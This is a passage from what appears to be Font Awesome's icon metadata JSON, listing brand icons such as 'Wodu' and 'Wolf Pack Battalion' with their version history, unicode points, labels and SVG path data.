2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z"
      }
    },
    "free": ["brands"]
  },
  "wodu": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e088",
    "label": "Wodu",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z"
      }
    },
    "free": ["brands"]
  },
  "wolf-pack-battalion": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f514",
    "label": "Wolf Pack Battalion",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 